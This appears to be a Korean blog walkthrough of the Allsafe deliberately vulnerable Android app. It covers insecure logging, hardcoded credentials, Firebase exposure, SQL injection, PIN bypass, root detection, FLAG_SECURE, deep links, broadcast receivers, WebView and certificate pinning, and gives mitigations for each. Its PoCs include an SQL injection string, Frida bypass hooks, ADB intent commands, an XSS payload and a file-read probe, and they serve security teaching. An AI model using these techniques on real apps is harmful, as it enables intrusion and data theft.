Introduction
본 글에서는 취약하게 설계된 Android 애플리케이션인 Allsafe를 통해 총 19가지의 보안 취약점을 확인하고 위험성 및 대응 방안을 살펴보겠습니다.
Insecure Logging (안전하지 않은 로깅)
애플리케이션이 민감한 정보를 시스템 로그에 평문으로 기록하는 취약점입니다. Android의 Logcat은 디버깅 권한만 있으면 접근이 용이하여, 개발 과정에서 남겨진 로그가 프로덕션 환경까지 배포될 경우 정보 유출의 통로가 됩니다.

/* loaded from: classes4.dex */
public class InsecureLogging extends Fragment {
@Override // androidx.fragment.app.Fragment
public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
View view = inflater.inflate(C1679R.layout.fragment_insecure_logging, container, false);
setHasOptionsMenu(true);
final TextInputEditText secret = (TextInputEditText) view.findViewById(C1679R.id.secret);
secret.setOnEditorActionListener(new TextView.OnEditorActionListener() { // from class: infosecadventures.allsafe.challenges.InsecureLogging$$ExternalSyntheticLambda0
@Override // android.widget.TextView.OnEditorActionListener
public final boolean onEditorAction(TextView textView, int i, KeyEvent keyEvent) {
return InsecureLogging.lambda$onCreateView$0(secret, textView, i, keyEvent);
}
});
return view;
}
static /* synthetic */ boolean lambda$onCreateView$0(TextInputEditText secret, TextView v, int actionId, KeyEvent event) {
if (actionId == 6 && !((Editable) Objects.requireNonNull(secret.getText())).toString().equals("")) {
Log.d("ALLSAFE", "User entered secret: " + secret.getText().toString());
return false;
}
return false;
}
}
해당 코드에서 주목할 점은 다음 라인입니다:
Log.d("ALLSAFE", "User entered secret: " + secret.getText().toString());
위 코드에서 Log.d를 사용하여 사용자가 입력한 secret 값을 필터링 없이 그대로 출력하고 있습니다.
PoC 과정

앱의 SECRET INPUT 입력창에 임의의 값을 입력합니다.

입력한 비밀 값이 평문으로 그대로 로그에 노출되는 것을 확인할 수 있습니다.
일반적인 위험성
- 개인정보 유출: 비밀번호, API 키, 토큰 등이 노출될 수 있습니다.
- 낮은 공격 난이도: ADB 연결만 가능하면 별도의 해킹 도구 없이도 정보 획득이 가능합니다.
- 장기간 지속: 로그 버퍼에 남아 기기 재부팅 전까지 정보가 유지될 수 있습니다.
대응 방안
- ProGuard/R8 사용: 릴리스 빌드 시
assumenosideeffects규칙을 사용하여 로그 호출 코드를 완전히 삭제합니다. - 조건부 로깅:
BuildConfig.DEBUG플래그를 사용하여 디버그 모드에서만 로그가 남도록 설정합니다. - 마스킹 처리: 불가피하게 로그를 남길 경우 민감 정보는
****등으로 마스킹 처리합니다.
Hardcoded Credentials Extraction (하드코딩된 자격 증명)
취약점 설명
소스 코드 내에 사용자 계정, API 키, 암호화 키 등이 변수나 문자열 리소스로 직접 입력되어 있는 취약점입니다. APK는 쉽게 디컴파일이 가능하므로 하드코딩된 정보는 사실상 공개된 것과 다름없습니다.

PoC 과정
APK를 디컴파일하여 소스 코드(HardcodedCredentials)를 확인하면 인증에 사용되는 중요 정보가 평문으로 존재하는것을 볼 수 있습니다.

일반적인 위험성
- 무단 접근: 공격자가 관리자 계정이나 백엔드 API 키를 획득할 수 있습니다.
- 리버스 엔지니어링 용이성: 단순히 코드를 열어보는 것만으로 공격이 성공합니다.
대응 방안
- 서버 측 검증: 중요 자격 증명은 앱 내부에 저장하지 않고 서버에서 인증 과정을 처리해야 합니다.
- Keystore 시스템 활용: 암호화 키 등은 Android Keystore 시스템을 이용해 안전하게 저장 및 관리합니다.
- NDK 사용: 중요한 상수 값은 Java 코드보다는 C/C++ 네이티브 라이브러리(.so)에 숨기는 것이 분석을 더 어렵게 만들지만, 이 또한 완벽한 해결책은 아닙니다.
Firebase Data Exposure (Firebase 데이터 노출)
취약점 설명
Firebase Realtime Database의 보안 규칙(Security Rules)이 미흡하게 설정되어 있어, 인증되지 않은 사용자도 데이터베이스 URL만 알면 데이터에 접근할 수 있는 취약점입니다.

코드 분석
res/values/strings.xml 파일에 데이터베이스 주소가 노출되어 있습니다.

<string name="firebase_database_url">https://allsafe-8cef0.firebaseio.com</string>
PoC 과정
strings.xml에서 Firebase URL을 획득한 뒤, 브라우저에서 해당 URL 뒤에 .json을 붙여 접속합니다.

만약 권한이 부여되어있다면, 데이터베이스의 모든 내용이 JSON 형태로 브라우저에 출력되게 됩니다.
일반적인 위험성
- 데이터 유출 및 변조: 고객 개인정보 유출 뿐만 아니라, 쓰기 권한이 열려있다면 데이터 삭제 및 악성 데이터 주입도 가능합니다.
대응 방안
- 보안 규칙 강화: Firebase Console에서
read,write권한을false로 설정하거나, 적절한 인증(Auth) 조건을 추가하여 인증된 사용자만 접근하도록 제한합니다.
Insecure Shared Preferences (취약한 데이터 저장)
취약점 설명
안드로이드의 SharedPreferences는 데이터를 XML 파일 형태로 저장합니다. 이곳에 민감한 데이터를 암호화하지 않고 저장할 경우, 루팅된 기기나 백업 데이터를 통해 정보가 유출될 수 있습니다.
PoC 과정

앱에서 사용자 계정 정보를 입력하고 STORE CREDENTIALS 버튼을 클릭합니다.
루팅된 단말기 또는 에뮬레이터에서 쉘을 통해 /data/data/infosecadventures.allsafe/shared_prefs 경로로 이동합니다.

해당 디렉터리 내 user.xml 파일이 생성되어 있고, 파일을 읽으면 이전에 입력한 계정 정보가 평문으로 저장된 것을 볼 수 있습니다.
SQL Injection (SQL 인젝션)
취약점 설명
클라이언트 측 로컬 데이터베이스(SQLite) 조회 시 사용자 입력값에 대한 검증이 부족하여, 악의적인 SQL 구문을 삽입해 인증을 우회하거나 데이터를 조작할 수 있는 취약점입니다.
PoC 과정
해당 기능으로 이동 후 Username 부분에 다음과 같은 인젝션 구문을 넣은 뒤 LOGIN 버튼을 클릭합니다.
admin' OR 1=1 --

이후 전체 계정의 사용자 명 및 비밀번호가 노출되는 것을 볼 수 있습니다.
일반적인 위험성
- 인증 우회: 관리자 권한 획득이 가능합니다.
- 데이터 유출: 데이터베이스 내의 모든 정보를 덤프할 수 있습니다.
대응 방안
- PreparedStatement 사용: SQL 쿼리 작성 시
?와 같은 플레이스홀더를 사용하고 인자를 바인딩하는 방식(Selection Args)을 사용하여 입력을 리터럴 데이터로만 처리하게 해야 합니다. - 입력값 검증: 특수문자 등을 필터링합니다.
PIN Bypass (PIN 인증 우회)
취약점 설명
PIN 번호 검증 로직이 클라이언트 코드 내에 하드코딩 되어 있거나, 쉽게 복호화 가능한 형태로 존재하여 인증을 우회할 수 있는 취약점입니다.

해당 기능을 보면 간단한 4자리의 PIN 번호를 통해 인증을 하는 것 같습니다.
코드 분석
디컴파일된 코드에서 비교 구문을 확인합니다.

코드 내 checkPin() 함수에서 검증 값인 NDg2Mw==와 입력 값을 비교하는 것 같습니다.
PoC 과정

NDg2Mw== 값을 Base64 디코딩 사이트나 툴을 이용해 변환합니다. 결과인 4863을 확인합니다.

이후, PIN 입력 창에 4863을 입력한 뒤 버튼을 클릭하면 인증이 성공하는 것을 볼 수 있습니다.
일반적인 위험성
- 접근 통제 무력화: 2차 인증이나 잠금 화면 등의 보안 기능이 무용지물이 됩니다.
대응 방안
- 해시 비교: 비밀번호 원문 대신 해시(Hash) 값을 저장하고, 입력값의 해시와 비교해야 합니다 (Salt 사용 권장).
- 서버 검증: 중요 인증 로직은 클라이언트가 아닌 서버에서 수행하는 것이 안전합니다.
Root Detection (루팅 탐지)
취약점 설명
앱이 실행되는 환경이 루팅된 기기인지 확인하는 기능입니다. 하지만 클라이언트 측에서의 탐지는 공격자가 코드를 변조하거나 후킹(Hooking)하여 우회할 수 있습니다.

CHECK ROOT버튼을 누르면 현재 기기가 루팅된 상태라는 메시지가 출력됩니다. 어떻게 루팅 탐지를 하는지 확인해보겠습니다.
코드 분석

먼저 해당 액티비티의 코드입니다. isRooted()함수를 자세히 보겠습니다.

코드에서 다양한 방법으로 루팅을 탐지하고 있습니다. 결국에는 해당 함수의 반환 값이 true라면 루팅 탐지를 하는 것이고 목표는 이 반환 값이 false로 되도록 하는 것이 목표입니다.
PoC 과정 (Frida)
Frida를 사용하여 isDeviceRooted 함수의 반환값을 무조건 false로 조작합니다.
Java.perform(function(){
var rootberrClass=Java.use("com.mcal.dexprotect.bypass.rootberr");
rootberrClass.isDeviceRooted.implementation=function(){
console.log("Bypassing isDeviceRooted check");
return false;
};
});
코드를 활용해 Frida로 앱을 Spawn 후 루팅 탐지 버튼 클릭 시 탐지 우회가 가능합니다.

일반적인 위험성
- 보안 정책 무력화: 루팅된 환경에서는 메모리 조작, 트래픽 캡처 등이 쉬워지므로 금융 앱 등은 실행을 차단해야 하지만, 우회될 경우 분석 환경이 제공됩니다.
대응 방안
- Play Integrity API 활용: 구글의 하드웨어 기반 무결성 검증 API를 사용하여 신뢰성을 높입니다.
- 다중 탐지 및 난독화: 여러 단계의 탐지 로직을 분산시키고 코드를 난독화하여 우회 난이도를 높입니다.
Secure Flag Bypass (화면 캡처 방지 우회)
취약점 설명
Android의 FLAG_SECURE를 설정하여 스크린샷 및 화면 녹화를 방지할 수 있으나, 이 또한 런타임에 플래그를 제거하는 방식으로 우회가 가능합니다.

중요 정보가 있는 페이지의 캡처 방지가 되어있는것을 볼 수 있습니다.
코드 분석

MainActivity 디컴파일 후 코드 분석 진행 시, 다음과 같은 코드를 발견할 수 있습니다.
getWindow().setFlags(8192, 8192);
여기서 사용된 숫자 8192는 안드로이드 WindowManager.LayoutParams.FLAG_SECURE의 상수값(Integer Value)입니다. setFlags 함수를 통해 이 플래그가 설정되면, 안드로이드 OS는 해당 액티비티 화면을 "보안 컨텐츠"로 취급하여 스크린샷 캡처와 화면 녹화를 차단합니다.
PoC 과정 (Frida)
이는 간단하게 Frida를 통해 우회가 가능합니다. 우회 요소는 setFlags 함수가 실행될 때 FLAG_SECURE값을 제거하도록 후킹하면 됩니다.
Java.perform(function() {
var surface_view = Java.use('android.view.SurfaceView');
var set_secure = surface_view.setSecure.overload('boolean');
set_secure.implementation = function(flag){
console.log("setSecure() flag called with args: " + flag);
set_secure.call(false);
};
var window = Java.use('android.view.Window');
var set_flags = window.setFlags.overload('int', 'int');
var window_manager = Java.use('android.view.WindowManager');
var layout_params = Java.use('android.view.WindowManager$LayoutParams');
set_flags.implementation = function(flags, mask){
//console.log(Object.getOwnPropertyNames(window.__proto__).join('\n'));
console.log("flag secure: " + layout_params.FLAG_SECURE.value);
console.log("before setflags called flags: "+ flags);
flags =(flags.value & ~layout_params.FLAG_SECURE.value);
console.log("after setflags called flags: "+ flags);
set_flags.call(this, flags, mask);
};
});
일반적인 위험성
- 정보 유출: 앱 화면에 표시되는 중요 정보가 캡처되어 유출될 수 있습니다.
대응 방안
- 완벽한 방어는 불가능: OS 레벨의 권한을 가진 공격자(루팅 환경) 앞에서는 클라이언트 보안이 뚫릴 수밖에 없음을 인지해야 합니다.
- 민감 정보 최소화: 화면에 민감 정보를 한 번에 모두 표시하지 않거나, 마스킹하여 표시합니다.
DeepLink Exploitation (딥링크 악용)
취약점 설명
딥링크를 통해 앱의 특정 컴포넌트를 실행할 때, 전달되는 파라미터에 대한 검증이 없으면 의도치 않은 기능이 실행되거나 민감한 정보가 노출될 수 있습니다.

코드 분석
AndroidManifest.xml에 정의된 scheme(allsafe)과 host(infosecadventures)를 확인하고, strings.xml에 숨겨진 key 값을 찾습니다.

<activity
android:theme="@style/Theme.Allsafe.NoActionBar"
android:name="infosecadventures.allsafe.challenges.DeepLinkTask"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data
android:scheme="allsafe"
android:host="infosecadventures"
android:pathPrefix="/congrats"/>
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="https"/>
</intent-filter>
</activity>

DeepLinkTask 코드에서는 key 파라미터 값을 요구하고 있습니다. 이 값은 strings.xml 파일에서 발견할 수 있습니다.

key 값을 확인 후 완전한 URL을 구성할 수 있습니다.
PoC 과정
ADB를 통해 악의적인 URI를 강제로 실행시킵니다.

PS C:\Users\WIN11> adb shell am start -a "android.intent.action.VIEW" -d "allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c"
Starting: Intent { act=android.intent.action.VIEW dat=allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c }

앱이 실행되며 Congratulations화면이 팝업됩니다.
일반적인 위험성
- 기능 오용: 공격자가 조작한 링크를 클릭하게 하여 원치 않는 송금, 설정 변경 등을 유발할 수 있습니다.
- XSS 연계: 웹뷰와 연결된 딥링크의 경우 XSS 공격의 통로가 됩니다.
대응 방안
- 입력값 검증: 딥링크로 전달받은 모든 파라미터를 철저히 검증해야 합니다.
- App Links 사용:
android:autoVerify="true"를 사용하여 소유한 도메인만 연결되도록 설정합니다.
Insecure Broadcast Receiver (취약한 브로드캐스트 수신자)
취약점 설명
exported="true"로 설정된 브로드캐스트 리시버는 외부의 어떤 앱에서도 호출할 수 있습니다. 이를 통해 내부 로직을 강제로 실행시키거나 가짜 데이터를 주입할 수 있습니다.
코드 분석

<receiver
android:name="infosecadventures.allsafe.challenges.NoteReceiver"
android:exported="true">
<intent-filter>
<action android:name="infosecadventures.allsafe.action.PROCESS_NOTE"/>
</intent-filter>
</receiver>
AndroidManifest.xml파일로 이동해서 NoteReceiver가 exported="true"로 설정된 것을 볼 수 있습니다.NoteReceiver는 외부에서 server, note, notification_message 파라미터를 받아 HTTP 요청을 보내고 알림을 띄웁니다.
다음으로 애플리케이션의 소스 코드를 확인해봅니다.

public class NoteReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
String server = intent.getStringExtra("server");
String note = intent.getStringExtra("note");
String notification_message = intent.getStringExtra("notification_message");
OkHttpClient okHttpClient = new OkHttpClient.Builder().build();
HttpUrl httpUrl = new HttpUrl.Builder().scheme("http").host(server).addPathSegment("api").addPathSegment("v1").addPathSegment("note").addPathSegment("add").addQueryParameter("auth_token", "YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=").addQueryParameter("note", note).build();
Log.d("ALLSAFE", httpUrl.getUrl());
Request request = new Request.Builder().url(httpUrl).build();
okHttpClient.newCall(request).enqueue(new Callback(this) { // from class: infosecadventures.allsafe.challenges.NoteReceiver.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
Log.d("ALLSAFE", e.getMessage());
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
Log.d("ALLSAFE", ((ResponseBody) Objects.requireNonNull(response.body())).string());
}
});
NotificationCompat.Builder builder = new NotificationCompat.Builder(context, "ALLSAFE");
builder.setContentTitle("Notification from Allsafe");
builder.setContentText(notification_message);
builder.setSmallIcon(C1679R.mipmap.ic_launcher_round);
builder.setAutoCancel(true);
builder.setChannelId("ALLSAFE");
Notification notification = builder.build();
NotificationManager notificationManager = (NotificationManager) context.getSystemService("notification");
NotificationChannel notificationChannel = new NotificationChannel("ALLSAFE", "ALLSAFE_NOTIFICATION", 4);
notificationManager.createNotificationChannel(notificationChannel);
notificationManager.notify(1, notification);
}
}
주요 기능은 다음과 같습니다.
- 브로드캐스트 수신: Intent로부터 3개의 파라미터를 받습니다.
- server: API 주소
- note: 저장할 노트 내용
- notification_message: 사용자에게 표시할 알림 메시지
- HTTP 요청: OkHttp로 http://{server}/api/v1/note/add 엔드포인트에 노트를 전송합니다.
- 알림 표시: 사용자에게 알림을 보여줍니다.
PoC 과정
ADB를 이용하여 임의의 인텐트를 브로드캐스팅합니다.

PS C:\Users\WIN11> adb -s 2c838d0cfa0b7ece shell am broadcast -n infosecadventures.allsafe/infosecadventures.allsafe.challenges.NoteReceiver --es server "test.com" --es note "test" --es notification_message "test"
Broadcasting: Intent { flg=0x400000 cmp=infosecadventures.allsafe/.challenges.NoteReceiver (has extras) }
Broadcast completed: result=0
공격자가 지정한 서버로 트래픽이 전송되고, 가짜 알림이 생성됩니다.

일반적인 위험성
- 피싱 및 스푸핑: 사용자를 속이는 가짜 알림을 띄울 수 있습니다.
- DOS 공격 및 내부 로직 악용: 과도한 요청을 보내거나 내부 API를 오용할 수 있습니다.
대응 방안
- Exported False: 외부 호출이 필요 없다면
android:exported="false"로 설정합니다. - 권한 설정: 외부 호출이 필요하다면
signature레벨의 권한(android:permission)을 설정하여 인가된 앱만 접근하도록 제한합니다.
Vulnerable WebView (취약한 웹뷰)
취약점 설명
WebView 설정이 안전하지 않게 되어 있어 XSS(교차 사이트 스크립팅) 공격이나 LFI(로컬 파일 포함) 취약점이 발생하는 경우입니다.

코드 분석
setJavaScriptEnabled(true)와 setAllowFileAccess(true) 등의 설정이 되어 있는지 확인합니다.

PoC 과정
입력창에 <script>alert(1)</script>를 입력하여 자바스크립트가 실행되는지 확인합니다.

입력창에 일반적인 URL을 입력하면 HTML 페이지가 렌더링되어 보여집니다.

URL 입력창에 file:///etc/hosts경로를 입력하여 내부 파일 내용이 화면에 표시되는지 확인합니다.

file:///etc/hosts
일반적인 위험성
- 쿠키 및 세션 탈취: 자바스크립트를 통해 사용자의 세션 정보를 훔칠 수 있습니다.
- 내부 파일 유출: 앱의 민감한 설정 파일이나 데이터베이스 파일 내용이 공격자에게 노출됩니다.
대응 방안
- JS 제한: 꼭 필요하지 않다면
setJavaScriptEnabled(false)로 설정합니다. - 파일 접근 제한:
setAllowFileAccess(false),setAllowContentAccess(false)등을 설정하여 로컬 파일 시스템 접근을 차단합니다. - 입력값 검증: 로드하는 URL에 대해 화이트리스트 검증을 수행합니다.
Certificate Pinning (인증서 고정 및 우회)
취약점 설명
Certificate Pinning은 서버의 인증서를 앱 내에 하드코딩하여 MITM(중간자 공격)을 방지하는 기술입니다. 하지만 공격자는 Frida 등을 이용해 이 검증 로직을 무력화하고 프록시 툴(Burp Suite 등)을 통해 패킷을 감청할 수 있습니다.

코드 분석
앱은 TrustManager를 커스텀하여 서버 인증서를 검증하거나 NetworkSecurityConfig.xml을 사용합니다.

이것은 기본적인 SSL 핀닝 우회 과제입니다. 코드를 보면 https://httpbin.org/json로 HTTP 요청을 보내고 핀닝 프로세스에 OkHttpClient.Builder를 사용하고 있습니다.
이 핀닝 프로세스는 내부적으로 TrustManager 메서드를 사용하여 SSL 핀닝 제어를 구현합니다.
PoC 과정
Frida의 범용 SSL Unpinning 스크립트(akabe1/frida-multiple-unpinning)를 사용하여 SSLContext, TrustManager 관련 함수들을 후킹, 검증 과정을 무시하도록 만듭니다. 이후 프록시 툴을 통해 암호화된 HTTPS 통신 내용을 평문으로 확인할 수 있습니다.

이후 다시 앱으로 돌아가 버튼을 클릭하면:

프록시 내 요청이 정상적으로 잡히는 것을 볼 수 있습니다.
일반적인 위험성
- 통신 감청: 로그인 정보, 결제 정보 등 송수신되는 모든 데이터가 노출됩니다.
대응 방안
- 난독화: 핀닝 로직이 포함된 코드를 난독화하여 분석 및 후킹 지점을 찾기 어렵게 만듭니다.
- 무결성 검증: 앱 실행 시 코드가 변조되었거나 후킹 프레임워크가 동작 중인지 탐지하는 로직을 추가합니다.
Comments
Sign in with GitHub to leave a comment.